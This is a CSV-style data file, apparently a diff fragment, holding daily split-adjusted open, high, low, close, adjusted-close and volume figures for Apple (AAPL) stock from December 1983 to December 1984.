-1983-12-19,0.4419642984867096,0.4464285671710968,0.4263392984867096,0.4285714328289032,0.3395741581916809,43400000.0,AAPL
-1983-12-20,0.4285714328289032,0.4285714328289032,0.4107142984867096,0.4174107015132904,0.33073103427886963,44436000.0,AAPL
-1983-12-21,0.4174107015132904,0.4330357015132904,0.4151785671710968,0.4330357015132904,0.3431113362312317,42946400.0,AAPL
-1983-12-22,0.4330357015132904,0.4419642984867096,0.4308035671710968,0.4419642984867096,0.3501858413219452,32636800.0,AAPL
-1983-12-23,0.4419642984867096,0.4441964328289032,0.4330357015132904,0.4397321343421936,0.3484172224998474,12140800.0,AAPL
-1983-12-27,0.4397321343421936,0.4464285671710968,0.4397321343421936,0.4419642984867096,0.3501858413219452,24108000.0,AAPL
-1983-12-28,0.4419642984867096,0.4508928656578064,0.4375,0.4464285671710968,0.35372301936149597,32138400.0,AAPL
-1983-12-29,0.4464285671710968,0.4508928656578064,0.4352678656578064,0.4352678656578064,0.34488004446029663,25687200.0,AAPL
-1983-12-30,0.4352678656578064,0.4464285671710968,0.4330357015132904,0.4352678656578064,0.34488004446029663,22965600.0,AAPL
-1984-01-03,0.4352678656578064,0.4665178656578064,0.4352678656578064,0.4575892984867096,0.3625660538673401,37548000.0,AAPL
-1984-01-04,0.4598214328289032,0.5,0.4598214328289032,0.4977678656578064,0.3944011628627777,73152800.0,AAPL
-1984-01-05,0.4977678656578064,0.5178571343421936,0.4933035671710968,0.5044642686843872,0.3997070789337158,76428800.0,AAPL
-1984-01-06,0.5044642686843872,0.5111607313156128,0.4866071343421936,0.4955357015132904,0.3926325738430023,42123200.0,AAPL
-1984-01-09,0.4955357015132904,0.4955357015132904,0.453125,0.46875,0.3714093267917633,53933600.0,AAPL
-1984-01-10,0.46875,0.4933035671710968,0.46875,0.4933035671710968,0.39086395502090454,43047200.0,AAPL
-1984-01-11,0.4933035671710968,0.5089285969734192,0.4910714328289032,0.5,0.39616990089416504,43988000.0,AAPL
-1984-01-12,0.5,0.5066964030265808,0.4933035671710968,0.4977678656578064,0.3944011628627777,27585600.0,AAPL
-1984-01-13,0.4977678656578064,0.5044642686843872,0.4776785671710968,0.4866071343421936,0.385558158159256,30436000.0,AAPL
-1984-01-16,0.4866071343421936,0.5044642686843872,0.484375,0.4977678656578064,0.3944011628627777,34395200.0,AAPL
-1984-01-17,0.4977678656578064,0.5133928656578064,0.4977678656578064,0.5111607313156128,0.40501296520233154,37268000.0,AAPL
-1984-01-18,0.5111607313156128,0.5223214030265808,0.5022321343421936,0.5133928656578064,0.40678155422210693,55126400.0,AAPL
-1984-01-19,0.5133928656578064,0.5267857313156128,0.5089285969734192,0.5178571343421936,0.4103188216686249,37430400.0,AAPL
-1984-01-20,0.5178571343421936,0.5200892686843872,0.5044642686843872,0.5111607313156128,0.40501296520233154,35336000.0,AAPL
-1984-01-23,0.5111607313156128,0.5200892686843872,0.5066964030265808,0.515625,0.40855029225349426,69591200.0,AAPL
-1984-01-24,0.515625,0.5178571343421936,0.4732142984867096,0.4866071343421936,0.385558158159256,80057600.0,AAPL
-1984-01-25,0.4866071343421936,0.515625,0.4799107015132904,0.4821428656578064,0.3820209205150604,65968000.0,AAPL
-1984-01-26,0.4821428656578064,0.5,0.4821428656578064,0.4933035671710968,0.39086395502090454,42123200.0,AAPL
-1984-01-27,0.4933035671710968,0.4955357015132904,0.4575892984867096,0.4665178656578064,0.36964061856269836,48524000.0,AAPL
-1984-01-30,0.4665178656578064,0.4754464328289032,0.4308035671710968,0.4419642984867096,0.3501858413219452,69367200.0,AAPL
-1984-01-31,0.4419642984867096,0.4508928656578064,0.4129464328289032,0.4419642984867096,0.3501858413219452,86273600.0,AAPL
-1984-02-01,0.4419642984867096,0.4553571343421936,0.4375,0.4397321343421936,0.3484172224998474,40779200.0,AAPL
-1984-02-02,0.4397321343421936,0.4464285671710968,0.4308035671710968,0.4441964328289032,0.35195446014404297,33728800.0,AAPL
-1984-02-03,0.4441964328289032,0.4553571343421936,0.4375,0.4375,0.3466486632823944,36372000.0,AAPL
-1984-02-06,0.4375,0.4375,0.4129464328289032,0.4151785671710968,0.32896244525909424,41389600.0,AAPL
-1984-02-07,0.4151785671710968,0.4330357015132904,0.3995535671710968,0.4308035671710968,0.3413427472114563,54432000.0,AAPL
-1984-02-08,0.4308035671710968,0.4375,0.4151785671710968,0.4151785671710968,0.32896244525909424,37055200.0,AAPL
-1984-02-09,0.4151785671710968,0.4308035671710968,0.4040178656578064,0.421875,0.3342682719230652,58699200.0,AAPL
-1984-02-10,0.421875,0.4464285671710968,0.421875,0.4352678656578064,0.34488004446029663,35991200.0,AAPL
-1984-02-13,0.4352678656578064,0.4397321343421936,0.4263392984867096,0.4330357015132904,0.3431113362312317,26432000.0,AAPL
-1984-02-14,0.4330357015132904,0.4598214328289032,0.4330357015132904,0.4575892984867096,0.3625660538673401,52264800.0,AAPL
-1984-02-15,0.4575892984867096,0.4776785671710968,0.4441964328289032,0.4486607015132904,0.3554917573928833,50209600.0,AAPL
-1984-02-16,0.4486607015132904,0.4553571343421936,0.4375,0.453125,0.3590288758277893,26308800.0,AAPL
-1984-02-17,0.453125,0.4642857015132904,0.4464285671710968,0.4464285671710968,0.35372301936149597,33661600.0,AAPL
-1984-02-21,0.4464285671710968,0.46875,0.4441964328289032,0.4665178656578064,0.36964061856269836,30072000.0,AAPL
-1984-02-22,0.46875,0.4933035671710968,0.46875,0.4888392984867096,0.38732683658599854,55843200.0,AAPL
-1984-02-23,0.4888392984867096,0.4888392984867096,0.4642857015132904,0.4799107015132904,0.38025227189064026,38763200.0,AAPL
-1984-02-24,0.4799107015132904,0.4910714328289032,0.4799107015132904,0.484375,0.38378942012786865,19454400.0,AAPL
-1984-02-27,0.484375,0.4910714328289032,0.4709821343421936,0.4821428656578064,0.3820209205150604,30391200.0,AAPL
-1984-02-28,0.4821428656578064,0.484375,0.4486607015132904,0.4553571343421936,0.36079761385917664,42481600.0,AAPL
-1984-02-29,0.4553571343421936,0.4799107015132904,0.4508928656578064,0.46875,0.3714093267917633,33510400.0,AAPL
-1984-03-01,0.46875,0.484375,0.4575892984867096,0.4821428656578064,0.3820209205150604,33090400.0,AAPL
-1984-03-02,0.4821428656578064,0.5,0.4799107015132904,0.4866071343421936,0.385558158159256,47812800.0,AAPL
-1984-03-05,0.4866071343421936,0.4888392984867096,0.4709821343421936,0.4776785671710968,0.37848371267318726,18401600.0,AAPL
-1984-03-06,0.4776785671710968,0.4866071343421936,0.4575892984867096,0.4598214328289032,0.36433476209640503,24746400.0,AAPL
-1984-03-07,0.4598214328289032,0.4754464328289032,0.4486607015132904,0.4732142984867096,0.3749464452266693,24141600.0,AAPL
-1984-03-08,0.4732142984867096,0.484375,0.4732142984867096,0.4799107015132904,0.38025227189064026,32446400.0,AAPL
-1984-03-09,0.4799107015132904,0.4799107015132904,0.46875,0.4709821343421936,0.37317776679992676,16514400.0,AAPL
-1984-03-12,0.4732142984867096,0.4910714328289032,0.4732142984867096,0.4888392984867096,0.38732683658599854,31259200.0,AAPL
-1984-03-13,0.4888392984867096,0.4955357015132904,0.4776785671710968,0.4821428656578064,0.3820209205150604,38220000.0,AAPL
-1984-03-14,0.4821428656578064,0.484375,0.4732142984867096,0.4754464328289032,0.37671515345573425,14901600.0,AAPL
-1984-03-15,0.4754464328289032,0.4821428656578064,0.4709821343421936,0.4776785671710968,0.37848371267318726,13820800.0,AAPL
-1984-03-16,0.4776785671710968,0.4955357015132904,0.4709821343421936,0.4754464328289032,0.37671515345573425,31175200.0,AAPL
-1984-03-19,0.4732142984867096,0.4732142984867096,0.4620535671710968,0.46875,0.3714093267917633,20647200.0,AAPL
-1984-03-20,0.46875,0.4776785671710968,0.4486607015132904,0.4642857015132904,0.3678719997406006,25132800.0,AAPL
-1984-03-21,0.4642857015132904,0.4754464328289032,0.4620535671710968,0.4642857015132904,0.3678719997406006,11916800.0,AAPL
-1984-03-22,0.4642857015132904,0.4642857015132904,0.4486607015132904,0.4553571343421936,0.36079761385917664,12796000.0,AAPL
-1984-03-23,0.4553571343421936,0.4598214328289032,0.4464285671710968,0.4553571343421936,0.36079761385917664,15282400.0,AAPL
-1984-03-26,0.4553571343421936,0.4665178656578064,0.4508928656578064,0.4598214328289032,0.36433476209640503,14240800.0,AAPL
-1984-03-27,0.4598214328289032,0.4620535671710968,0.4441964328289032,0.4464285671710968,0.35372301936149597,24824800.0,AAPL
-1984-03-28,0.4486607015132904,0.4575892984867096,0.4486607015132904,0.4553571343421936,0.36079761385917664,18872000.0,AAPL
-1984-03-29,0.4553571343421936,0.4598214328289032,0.4508928656578064,0.453125,0.3590288758277893,9794400.0,AAPL
-1984-03-30,0.453125,0.4553571343421936,0.4375,0.4419642984867096,0.3501858413219452,11435200.0,AAPL
-1984-04-02,0.4419642984867096,0.4508928656578064,0.4375,0.4441964328289032,0.35195446014404297,13664000.0,AAPL
-1984-04-03,0.4441964328289032,0.4486607015132904,0.4397321343421936,0.4464285671710968,0.35372301936149597,11026400.0,AAPL
-1984-04-04,0.4464285671710968,0.4486607015132904,0.4375,0.4375,0.3466486632823944,26919200.0,AAPL
-1984-04-05,0.4375,0.4441964328289032,0.4308035671710968,0.4308035671710968,0.3413427472114563,20703200.0,AAPL
-1984-04-06,0.4308035671710968,0.4352678656578064,0.4107142984867096,0.4196428656578064,0.3324996531009674,21397600.0,AAPL
-1984-04-09,0.4196428656578064,0.4330357015132904,0.4196428656578064,0.4196428656578064,0.3324996531009674,13563200.0,AAPL
-1984-04-10,0.4285714328289032,0.4419642984867096,0.4285714328289032,0.4419642984867096,0.3501858413219452,14274400.0,AAPL
-1984-04-11,0.4419642984867096,0.453125,0.4330357015132904,0.4375,0.3466486632823944,17651200.0,AAPL
-1984-04-12,0.4375,0.4642857015132904,0.4308035671710968,0.4598214328289032,0.36433476209640503,19600000.0,AAPL
-1984-04-13,0.4598214328289032,0.4709821343421936,0.4553571343421936,0.4598214328289032,0.36433476209640503,25849600.0,AAPL
-1984-04-16,0.4598214328289032,0.4709821343421936,0.4486607015132904,0.46875,0.3714093267917633,17029600.0,AAPL
-1984-04-17,0.4776785671710968,0.4977678656578064,0.4776785671710968,0.4910714328289032,0.3890954852104187,83238400.0,AAPL
-1984-04-18,0.4910714328289032,0.5022321343421936,0.4888392984867096,0.5,0.39616990089416504,49918400.0,AAPL
-1984-04-19,0.5,0.5066964030265808,0.4955357015132904,0.5044642686843872,0.3997070789337158,30850400.0,AAPL
-1984-04-23,0.5044642686843872,0.5200892686843872,0.5,0.5066964030265808,0.401475727558136,73466400.0,AAPL
-1984-04-24,0.5066964030265808,0.515625,0.4955357015132904,0.4977678656578064,0.3944011628627777,70392000.0,AAPL
-1984-04-25,0.4977678656578064,0.5022321343421936,0.4888392984867096,0.4933035671710968,0.39086395502090454,48720000.0,AAPL
-1984-04-26,0.4955357015132904,0.5334821343421936,0.4955357015132904,0.53125,0.420930415391922,79626400.0,AAPL
-1984-04-27,0.53125,0.5491071343421936,0.5223214030265808,0.5379464030265808,0.4262363910675049,92999200.0,AAPL
-1984-04-30,0.5379464030265808,0.5602678656578064,0.5334821343421936,0.5602678656578064,0.4439224600791931,73287200.0,AAPL
-1984-05-01,0.5669642686843872,0.59375,0.5669642686843872,0.59375,0.47045162320137024,101628800.0,AAPL
-1984-05-02,0.59375,0.5982142686843872,0.578125,0.5892857313156128,0.4669145345687866,79329600.0,AAPL
-1984-05-03,0.5892857313156128,0.5892857313156128,0.5535714030265808,0.5647321343421936,0.44745975732803345,81855200.0,AAPL
-1984-05-04,0.5647321343421936,0.5647321343421936,0.5357142686843872,0.5379464030265808,0.4262363910675049,65111200.0,AAPL
-1984-05-07,0.5379464030265808,0.5602678656578064,0.5334821343421936,0.5558035969734192,0.44038525223731995,40017600.0,AAPL
-1984-05-08,0.5580357313156128,0.5915178656578064,0.5580357313156128,0.5870535969734192,0.46514588594436646,63750400.0,AAPL
-1984-05-09,0.5870535969734192,0.6138392686843872,0.5803571343421936,0.5915178656578064,0.4686829745769501,101253600.0,AAPL
-1984-05-10,0.5915178656578064,0.6004464030265808,0.5758928656578064,0.5915178656578064,0.4686829745769501,59656800.0,AAPL
-1984-05-11,0.5915178656578064,0.59375,0.5535714030265808,0.5758928656578064,0.4563027024269104,49431200.0,AAPL
-1984-05-14,0.5736607313156128,0.5736607313156128,0.5580357313156128,0.5647321343421936,0.44745975732803345,22321600.0,AAPL
-1984-05-15,0.5647321343421936,0.5736607313156128,0.5625,0.5691964030265808,0.45099684596061707,25676000.0,AAPL
-1984-05-16,0.5691964030265808,0.5736607313156128,0.5424107313156128,0.5446428656578064,0.4315420687198639,54930400.0,AAPL
-1984-05-17,0.5446428656578064,0.5446428656578064,0.5133928656578064,0.5200892686843872,0.4120873808860779,70487200.0,AAPL
-1984-05-18,0.5200892686843872,0.5334821343421936,0.5133928656578064,0.53125,0.420930415391922,48367200.0,AAPL
-1984-05-21,0.53125,0.5758928656578064,0.5290178656578064,0.5691964030265808,0.45099684596061707,108763200.0,AAPL
-1984-05-22,0.5691964030265808,0.5691964030265808,0.5357142686843872,0.5513392686843872,0.4368479549884796,75314400.0,AAPL
-1984-05-23,0.5513392686843872,0.5558035969734192,0.5401785969734192,0.5401785969734192,0.42800483107566833,42240800.0,AAPL
-1984-05-24,0.5401785969734192,0.5401785969734192,0.515625,0.5245535969734192,0.4156246483325958,48328000.0,AAPL
-1984-05-25,0.5245535969734192,0.5334821343421936,0.5200892686843872,0.5267857313156128,0.41739314794540405,30027200.0,AAPL
-1984-05-29,0.5267857313156128,0.53125,0.515625,0.5245535969734192,0.4156246483325958,39065600.0,AAPL
-1984-05-30,0.5245535969734192,0.5267857313156128,0.5,0.5178571343421936,0.4103188216686249,79609600.0,AAPL
-1984-05-31,0.5178571343421936,0.53125,0.5133928656578064,0.5245535969734192,0.4156246483325958,41753600.0,AAPL
-1984-06-01,0.5245535969734192,0.5424107313156128,0.5223214030265808,0.5424107313156128,0.4297737181186676,60575200.0,AAPL
-1984-06-04,0.5424107313156128,0.5491071343421936,0.5245535969734192,0.5290178656578064,0.4191618859767914,37072000.0,AAPL
-1984-06-05,0.5200892686843872,0.5200892686843872,0.4955357015132904,0.4977678656578064,0.3944011628627777,82107200.0,AAPL
-1984-06-06,0.4977678656578064,0.5200892686843872,0.4955357015132904,0.5178571343421936,0.4103188216686249,40364800.0,AAPL
-1984-06-07,0.5178571343421936,0.5200892686843872,0.5022321343421936,0.5133928656578064,0.40678155422210693,25636800.0,AAPL
-1984-06-08,0.5133928656578064,0.515625,0.5,0.5111607313156128,0.40501296520233154,27244000.0,AAPL
-1984-06-11,0.5111607313156128,0.515625,0.5044642686843872,0.5111607313156128,0.40501296520233154,21061600.0,AAPL
-1984-06-12,0.5111607313156128,0.5267857313156128,0.5089285969734192,0.5200892686843872,0.4120873808860779,29282400.0,AAPL
-1984-06-13,0.5223214030265808,0.5334821343421936,0.5223214030265808,0.53125,0.420930415391922,28929600.0,AAPL
-1984-06-14,0.53125,0.53125,0.5133928656578064,0.515625,0.40855029225349426,25239200.0,AAPL
-1984-06-15,0.515625,0.5245535969734192,0.515625,0.5178571343421936,0.4103188216686249,22444800.0,AAPL
-1984-06-18,0.5178571343421936,0.53125,0.5066964030265808,0.5290178656578064,0.4191618859767914,28649600.0,AAPL
-1984-06-19,0.5290178656578064,0.5424107313156128,0.5245535969734192,0.5245535969734192,0.4156246483325958,40236000.0,AAPL
-1984-06-20,0.5245535969734192,0.5401785969734192,0.5133928656578064,0.5401785969734192,0.42800483107566833,29881600.0,AAPL
-1984-06-21,0.5401785969734192,0.546875,0.5178571343421936,0.5178571343421936,0.4103188216686249,35476000.0,AAPL
-1984-06-22,0.5178571343421936,0.5267857313156128,0.5111607313156128,0.5111607313156128,0.40501296520233154,21151200.0,AAPL
-1984-06-25,0.5111607313156128,0.515625,0.4821428656578064,0.4866071343421936,0.385558158159256,41871200.0,AAPL
-1984-06-26,0.4866071343421936,0.4888392984867096,0.4642857015132904,0.4642857015132904,0.3678719997406006,37161600.0,AAPL
-1984-06-27,0.4642857015132904,0.46875,0.4330357015132904,0.4508928656578064,0.3572602868080139,94320800.0,AAPL
-1984-06-28,0.4508928656578064,0.4776785671710968,0.4508928656578064,0.4709821343421936,0.37317776679992676,29579200.0,AAPL
-1984-06-29,0.4709821343421936,0.4955357015132904,0.4709821343421936,0.4732142984867096,0.3749464452266693,35498400.0,AAPL
-1984-07-02,0.4732142984867096,0.4754464328289032,0.4486607015132904,0.4575892984867096,0.3625660538673401,39916800.0,AAPL
-1984-07-03,0.4575892984867096,0.4598214328289032,0.4441964328289032,0.4508928656578064,0.3572602868080139,44766400.0,AAPL
-1984-07-05,0.4508928656578064,0.4553571343421936,0.4352678656578064,0.4419642984867096,0.3501858413219452,23296000.0,AAPL
-1984-07-06,0.4419642984867096,0.4553571343421936,0.4330357015132904,0.4486607015132904,0.3554917573928833,23912000.0,AAPL
-1984-07-09,0.4486607015132904,0.4709821343421936,0.4419642984867096,0.46875,0.3714093267917633,47667200.0,AAPL
-1984-07-10,0.46875,0.484375,0.4665178656578064,0.4799107015132904,0.38025227189064026,43075200.0,AAPL
-1984-07-11,0.4799107015132904,0.4866071343421936,0.4665178656578064,0.4732142984867096,0.3749464452266693,30273600.0,AAPL
-1984-07-12,0.4732142984867096,0.484375,0.4709821343421936,0.4754464328289032,0.37671515345573425,42173600.0,AAPL
-1984-07-13,0.4754464328289032,0.484375,0.4642857015132904,0.4709821343421936,0.37317776679992676,33986400.0,AAPL
-1984-07-16,0.4709821343421936,0.4709821343421936,0.4464285671710968,0.4598214328289032,0.36433476209640503,50747200.0,AAPL
-1984-07-17,0.4598214328289032,0.4642857015132904,0.453125,0.4598214328289032,0.36433476209640503,21212800.0,AAPL
-1984-07-18,0.4598214328289032,0.4620535671710968,0.4508928656578064,0.453125,0.3590288758277893,26006400.0,AAPL
-1984-07-19,0.453125,0.4598214328289032,0.4486607015132904,0.453125,0.3590288758277893,19476800.0,AAPL
-1984-07-20,0.453125,0.4598214328289032,0.4508928656578064,0.453125,0.3590288758277893,8293600.0,AAPL
-1984-07-23,0.453125,0.453125,0.4375,0.4486607015132904,0.3554917573928833,23508800.0,AAPL
-1984-07-24,0.4486607015132904,0.4821428656578064,0.4464285671710968,0.4754464328289032,0.37671515345573425,44811200.0,AAPL
-1984-07-25,0.4776785671710968,0.4888392984867096,0.4776785671710968,0.4776785671710968,0.37848371267318726,50114400.0,AAPL
-1984-07-26,0.4776785671710968,0.4933035671710968,0.4732142984867096,0.4866071343421936,0.385558158159256,35834400.0,AAPL
-1984-07-27,0.4866071343421936,0.4910714328289032,0.4821428656578064,0.484375,0.38378942012786865,18485600.0,AAPL
-1984-07-30,0.484375,0.4866071343421936,0.4508928656578064,0.4553571343421936,0.36079761385917664,31259200.0,AAPL
-1984-07-31,0.4553571343421936,0.4620535671710968,0.4441964328289032,0.4553571343421936,0.36079761385917664,49907200.0,AAPL
-1984-08-01,0.4553571343421936,0.4598214328289032,0.4330357015132904,0.4464285671710968,0.35372301936149597,71433600.0,AAPL
-1984-08-02,0.4464285671710968,0.453125,0.4308035671710968,0.4308035671710968,0.3413427472114563,75919200.0,AAPL
-1984-08-03,0.4308035671710968,0.4910714328289032,0.4285714328289032,0.4888392984867096,0.38732683658599854,154515200.0,AAPL
-1984-08-06,0.4888392984867096,0.5446428656578064,0.4866071343421936,0.5223214030265808,0.41385602951049805,156699200.0,AAPL
-1984-08-07,0.5223214030265808,0.5357142686843872,0.4977678656578064,0.5290178656578064,0.4191618859767914,83120800.0,AAPL
-1984-08-08,0.5290178656578064,0.5401785969734192,0.5044642686843872,0.5089285969734192,0.403244286775589,73600800.0,AAPL
-1984-08-09,0.5089285969734192,0.5357142686843872,0.4977678656578064,0.53125,0.420930415391922,64405600.0,AAPL
-1984-08-10,0.53125,0.5513392686843872,0.5066964030265808,0.5089285969734192,0.403244286775589,99344000.0,AAPL
-1984-08-13,0.5089285969734192,0.5401785969734192,0.5022321343421936,0.5357142686843872,0.4244675934314728,60362400.0,AAPL
-1984-08-14,0.5357142686843872,0.5401785969734192,0.5089285969734192,0.515625,0.40855029225349426,43517600.0,AAPL
-1984-08-15,0.5133928656578064,0.5133928656578064,0.4933035671710968,0.4977678656578064,0.3944011628627777,44721600.0,AAPL
-1984-08-16,0.4977678656578064,0.5066964030265808,0.4910714328289032,0.5022321343421936,0.39793848991394043,36204000.0,AAPL
-1984-08-17,0.5022321343421936,0.5044642686843872,0.484375,0.4910714328289032,0.3890954852104187,38483200.0,AAPL
-1984-08-20,0.4910714328289032,0.4933035671710968,0.4754464328289032,0.4888392984867096,0.38732683658599854,34613600.0,AAPL
-1984-08-21,0.4888392984867096,0.5133928656578064,0.4888392984867096,0.5089285969734192,0.403244286775589,44884000.0,AAPL
-1984-08-22,0.5089285969734192,0.5223214030265808,0.4955357015132904,0.5,0.39616990089416504,55104000.0,AAPL
-1984-08-23,0.5,0.5111607313156128,0.5,0.5022321343421936,0.39793848991394043,20854400.0,AAPL
-1984-08-24,0.5022321343421936,0.5089285969734192,0.4977678656578064,0.5022321343421936,0.39793848991394043,17724000.0,AAPL
-1984-08-27,0.5022321343421936,0.5022321343421936,0.4888392984867096,0.4977678656578064,0.3944011628627777,21918400.0,AAPL
-1984-08-28,0.4977678656578064,0.5044642686843872,0.4933035671710968,0.5044642686843872,0.3997070789337158,14789600.0,AAPL
-1984-08-29,0.5044642686843872,0.5066964030265808,0.4866071343421936,0.4910714328289032,0.3890954852104187,18530400.0,AAPL
-1984-08-30,0.4910714328289032,0.4977678656578064,0.4821428656578064,0.4821428656578064,0.3820209205150604,12740000.0,AAPL
-1984-08-31,0.4821428656578064,0.484375,0.4665178656578064,0.4732142984867096,0.3749464452266693,34462400.0,AAPL
-1984-09-04,0.4732142984867096,0.4776785671710968,0.4642857015132904,0.46875,0.3714093267917633,29960000.0,AAPL
-1984-09-05,0.46875,0.4754464328289032,0.4642857015132904,0.46875,0.3714093267917633,25939200.0,AAPL
-1984-09-06,0.46875,0.4799107015132904,0.46875,0.4732142984867096,0.3749464452266693,32743200.0,AAPL
-1984-09-07,0.4732142984867096,0.4799107015132904,0.46875,0.4732142984867096,0.3749464452266693,20815200.0,AAPL
-1984-09-10,0.4732142984867096,0.4754464328289032,0.4620535671710968,0.4709821343421936,0.37317776679992676,16156000.0,AAPL
-1984-09-11,0.4754464328289032,0.4888392984867096,0.4754464328289032,0.4799107015132904,0.38025227189064026,38096800.0,AAPL
-1984-09-12,0.4799107015132904,0.4821428656578064,0.4665178656578064,0.4665178656578064,0.36964061856269836,33280800.0,AAPL
-1984-09-13,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.3890954852104187,51833600.0,AAPL
-1984-09-14,0.4933035671710968,0.5089285969734192,0.4933035671710968,0.4977678656578064,0.3944011628627777,61717600.0,AAPL
-1984-09-17,0.5111607313156128,0.5178571343421936,0.5111607313156128,0.5111607313156128,0.40501296520233154,48188000.0,AAPL
-1984-09-18,0.5111607313156128,0.515625,0.4933035671710968,0.4933035671710968,0.39086395502090454,24326400.0,AAPL
-1984-09-19,0.4933035671710968,0.4977678656578064,0.4821428656578064,0.4821428656578064,0.3820209205150604,26572000.0,AAPL
-1984-09-20,0.484375,0.4888392984867096,0.484375,0.484375,0.38378942012786865,16542400.0,AAPL
-1984-09-21,0.484375,0.4977678656578064,0.4732142984867096,0.4799107015132904,0.38025227189064026,24959200.0,AAPL
-1984-09-24,0.4799107015132904,0.4821428656578064,0.4754464328289032,0.4754464328289032,0.37671515345573425,19751200.0,AAPL
-1984-09-25,0.4732142984867096,0.4732142984867096,0.4665178656578064,0.4665178656578064,0.36964061856269836,41697600.0,AAPL
-1984-09-26,0.4665178656578064,0.4866071343421936,0.4598214328289032,0.4598214328289032,0.36433476209640503,27742400.0,AAPL
-1984-09-27,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.36433476209640503,26482400.0,AAPL
-1984-09-28,0.4598214328289032,0.4598214328289032,0.4397321343421936,0.4486607015132904,0.3554917573928833,58352000.0,AAPL
-1984-10-01,0.4464285671710968,0.4464285671710968,0.4375,0.4375,0.3466486632823944,24444000.0,AAPL
-1984-10-02,0.4419642984867096,0.4575892984867096,0.4419642984867096,0.4419642984867096,0.3501858413219452,29562400.0,AAPL
-1984-10-03,0.4486607015132904,0.4553571343421936,0.4486607015132904,0.4486607015132904,0.3554917573928833,30105600.0,AAPL
-1984-10-04,0.453125,0.4575892984867096,0.453125,0.453125,0.3590288758277893,31371200.0,AAPL
-1984-10-05,0.453125,0.453125,0.4419642984867096,0.4441964328289032,0.35195446014404297,24393600.0,AAPL
-1984-10-08,0.4441964328289032,0.4464285671710968,0.4441964328289032,0.4441964328289032,0.35195446014404297,11743200.0,AAPL
-1984-10-09,0.4441964328289032,0.4464285671710968,0.4397321343421936,0.4397321343421936,0.3484172224998474,31315200.0,AAPL
-1984-10-10,0.4397321343421936,0.4397321343421936,0.4263392984867096,0.4263392984867096,0.33780547976493835,91212800.0,AAPL
-1984-10-11,0.4263392984867096,0.4375,0.4241071343421936,0.4241071343421936,0.3360368311405182,45690400.0,AAPL
-1984-10-12,0.4241071343421936,0.4263392984867096,0.4017857015132904,0.40625,0.32188811898231506,66449600.0,AAPL
-1984-10-15,0.4285714328289032,0.4330357015132904,0.4285714328289032,0.4285714328289032,0.3395741581916809,60816000.0,AAPL
-1984-10-16,0.4285714328289032,0.4308035671710968,0.4263392984867096,0.4263392984867096,0.33780547976493835,29506400.0,AAPL
-1984-10-17,0.4441964328289032,0.4464285671710968,0.4441964328289032,0.4441964328289032,0.35195446014404297,39160800.0,AAPL
-1984-10-18,0.4575892984867096,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3625660538673401,61790400.0,AAPL
-1984-10-19,0.4575892984867096,0.4888392984867096,0.4553571343421936,0.4575892984867096,0.3625660538673401,81530400.0,AAPL
-1984-10-22,0.4575892984867096,0.4642857015132904,0.453125,0.453125,0.3590288758277893,28688800.0,AAPL
-1984-10-23,0.4642857015132904,0.46875,0.4642857015132904,0.4642857015132904,0.3678719997406006,46608800.0,AAPL
-1984-10-24,0.46875,0.4732142984867096,0.46875,0.46875,0.3714093267917633,41753600.0,AAPL
-1984-10-25,0.46875,0.46875,0.4508928656578064,0.4508928656578064,0.3572602868080139,39541600.0,AAPL
-1984-10-26,0.4508928656578064,0.4508928656578064,0.4375,0.4397321343421936,0.3484172224998474,28711200.0,AAPL
-1984-10-29,0.4419642984867096,0.4441964328289032,0.4419642984867096,0.4419642984867096,0.3501858413219452,12661600.0,AAPL
-1984-10-30,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.35372301936149597,18648000.0,AAPL
-1984-10-31,0.4464285671710968,0.4508928656578064,0.4441964328289032,0.4441964328289032,0.35195446014404297,15058400.0,AAPL
-1984-11-01,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.35372301936149597,11760000.0,AAPL
-1984-11-02,0.4464285671710968,0.4486607015132904,0.4419642984867096,0.4441964328289032,0.35195446014404297,6921600.0,AAPL
-1984-11-05,0.4441964328289032,0.453125,0.4419642984867096,0.4419642984867096,0.3501858413219452,26342400.0,AAPL
-1984-11-06,0.46875,0.4709821343421936,0.46875,0.46875,0.3714093267917633,56330400.0,AAPL
-1984-11-07,0.46875,0.4709821343421936,0.4598214328289032,0.4598214328289032,0.36433476209640503,57887200.0,AAPL
-1984-11-08,0.4598214328289032,0.4598214328289032,0.4419642984867096,0.4419642984867096,0.3501858413219452,22030400.0,AAPL
-1984-11-09,0.4419642984867096,0.4441964328289032,0.4107142984867096,0.4151785671710968,0.32896244525909424,73533600.0,AAPL
-1984-11-12,0.4308035671710968,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3413427472114563,28313600.0,AAPL
-1984-11-13,0.4308035671710968,0.4397321343421936,0.4196428656578064,0.4196428656578064,0.3324996531009674,31668000.0,AAPL
-1984-11-14,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.3360368311405182,26084800.0,AAPL
-1984-11-15,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.3360368311405182,26650400.0,AAPL
-1984-11-16,0.4241071343421936,0.4308035671710968,0.4129464328289032,0.4151785671710968,0.32896244525909424,41440000.0,AAPL
-1984-11-19,0.4151785671710968,0.4174107015132904,0.390625,0.390625,0.30950769782066345,58245600.0,AAPL
-1984-11-20,0.4040178656578064,0.40625,0.4040178656578064,0.4040178656578064,0.32011938095092773,65811200.0,AAPL
-1984-11-21,0.4129464328289032,0.4151785671710968,0.4129464328289032,0.4129464328289032,0.32719382643699646,44682400.0,AAPL
-1984-11-23,0.4174107015132904,0.4308035671710968,0.4174107015132904,0.4241071343421936,0.3360368311405182,34272000.0,AAPL
-1984-11-26,0.4285714328289032,0.4285714328289032,0.4285714328289032,0.4285714328289032,0.3395741581916809,25160800.0,AAPL
-1984-11-27,0.4397321343421936,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.3484172224998474,31852800.0,AAPL
-1984-11-28,0.4620535671710968,0.4732142984867096,0.4620535671710968,0.4620535671710968,0.3661033511161804,102631200.0,AAPL
-1984-11-29,0.4620535671710968,0.4620535671710968,0.453125,0.453125,0.3590288758277893,43719200.0,AAPL
-1984-11-30,0.453125,0.4575892984867096,0.4397321343421936,0.4419642984867096,0.3501858413219452,27176800.0,AAPL
-1984-12-03,0.4419642984867096,0.4441964328289032,0.4352678656578064,0.4352678656578064,0.34488004446029663,24500000.0,AAPL
-1984-12-04,0.4441964328289032,0.453125,0.4441964328289032,0.4441964328289032,0.35195446014404297,30094400.0,AAPL
